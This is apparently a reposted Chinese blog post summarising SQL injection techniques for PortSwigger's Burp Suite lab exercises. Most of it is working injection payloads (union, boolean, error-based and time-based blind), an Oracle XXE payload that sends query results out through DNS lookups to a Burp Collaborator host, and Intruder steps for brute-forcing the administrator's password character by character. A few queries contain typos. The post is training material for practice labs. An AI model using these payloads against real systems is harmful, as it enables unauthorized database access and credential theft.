burpsuite靶场SQL注入总结
Posted 向阳-Y.
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了burpsuite靶场SQL注入总结相关的知识,希望对你有一定的参考价值。
各类数据库版本命令参照:
https://portswigger.net/web-security/sql-injection/cheat-sheet
burp靶场:https://portswigger.net/web-security/all-labs
注入技巧篇
数字型注入
' union select 1,2,3
字符型注入
' union select NULL,NULL,NULL--
注入点只有一个,但也能同时查两个数据
' union select null,username||'~'||password from users--
注入技巧(布尔注入非oracle)
某个注入点,发现如下语句返回正确结果:
' and '1'='1
判断是否存在user表
'+and+(select 'a' from users limit 1)='a;
判断user表中是否存在username、password
'+and+(select 'a' from users where username='administrator' and length(password)>1)='a;
继续注入,稍微改写一下,然后将a值放入burpsuite中的intruder爆破即可(文章末尾补充了burp爆破方法):
'+and+(select substring(password,1,1) from users where username='administrator')='$a$;
注意,只有oracle的substr不一样
Oracle SUBSTR(‘foobar’, 4, 2)
Microsoft SUBSTRING(‘foobar’, 4, 2)
PostgreSQL SUBSTRING(‘foobar’, 4, 2)
mysql SUBSTRING(‘foobar’, 4, 2)
注入技巧(双单引号oracle数据库)
某个注入点,输入一个单引号’报错,两个单引号’'返回正确结果
那么注入则可以这么写:
' || (select '') || '
如果是oracle数据库,则
' || (select '' from dual) || '
继续判断oracle数据是否存在users表(其中rownum类似于limit)
' || (select '' from users where rownum=1) ||'
判断columns
' || (select username from users where rownum=1) ||'
' || (select password from users where rownum=1) ||'
构造如下布尔注入(其中to_char写法会报错,以此来实现判断)
'+||+(select+case+when+(1=1)+then+to_char(1/0)+else+''+end+from+users+where+username='administrator'+and+length(password)<1)||'
接下来就是burp跑字典,方法已经放到文章最后
'+||+(select+case+when+(1=1)+then+to_char(1/0)+else+''+end+from+users+where+username='administrator'+and+substr(password,$A$,1)='$a$')||'
注入技巧(盲注)
某个注入点输入任何测试字符(如单引号,两个单引号,and 1=1)都返回正确结果,不妨试下如下语句
' || (select sleep(3))-- # MySQL
' || (select pg_sleep(3))-- # PostgreSQL
盲注判断一波password的长度,burpsuite再来爆破一波
'||(select case when (username='administrator' and length(password)<$1$) then pg_sleep(3) else pg_sleep(0) end from users)--
盲注爆破password(文章末尾补充了盲注爆破方法)
'||(select case when (username='administrator' and substring(password,$A$,1)='$B$') then pg_sleep(3) else pg_sleep(0) end from users)--
注入技巧(无回显、无盲注)
采用DNS Lookup注入,例如oracle的数据库注入验证方式
(更多请查看https://portswigger.net/web-security/sql-injection/cheat-sheet)
' ||(SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual)--
burpsuite自带一个DNS lookup功能()
回显的这部分就是密码
各类数据库查version
oracle数据库查询version
'+union+select+user,banner+from+v$version--
Microsoft&MySQL查询version
SELECT @@version
更多请查看:
https://portswigger.net/web-security/sql-injection/cheat-sheet
oracle数据库默认表
oracle 数据库不能通过select null,null这种方式,必须确定from,通过百度搜索oracle database statement可知,DUAL表示默认的表
'+union+select+'a','b'+from+DUAL--
oracle查询自带库,类似于mysql中的information_schema
' union select table_name,null from all_tables--
oracle利用all_tab_columns查询字段
' union select columns_name from all_tab_columns where table_name='USERS_PRTMSH'
利用all_tab_columns查询出的字段进行查询
' union select USERNAME_GTGIHR||'~'||PASSWORD_SGMAIO,null from USERS_PRTMSH--
MySQL数据库
information_schema
利用information_schema表查询表
' union select table_name,null from information.tables--
通过information_schema表查询出来的表来继续查询column
' union select column_name,null from information_schema.columns where table_name= users_dababase--
burpsuite爆破-布尔型
这里补充一下burp爆破的技巧,上面提到的布尔注入需要爆破两个点,
结构类似于:
for B in range(20):
for A in range(30)
这种结构爆破可以选择Cluster bomb
并且给A点设置如下payload
给B点设置如下payload
爆破中…
burpsuite爆破-时间型
1.这里的语句如下
'||(select case when (username='administrator' and substring(password,§A§,1)='§B§') then pg_sleep(3) else pg_sleep(0) end from users)--
2.设置一下Cluster bomb,并设置两个爆破参数
3.payload中第一个参数为1-20的数字,所以设置如下:
4.第二个参数需要在数字与字母之间进行爆破,所以选择brute forcer:
5.这一点与其他注入不同,时间盲注需要将线程设置为1(否则会让时间延迟判断有误差)
6.运行即可,设置显示延时回显Response received(因为是单线程,这里等待的时间很长)
7.找出高延时的即可
以上是关于burpsuite靶场SQL注入总结的主要内容,如果未能解决你的问题,请参考以下文章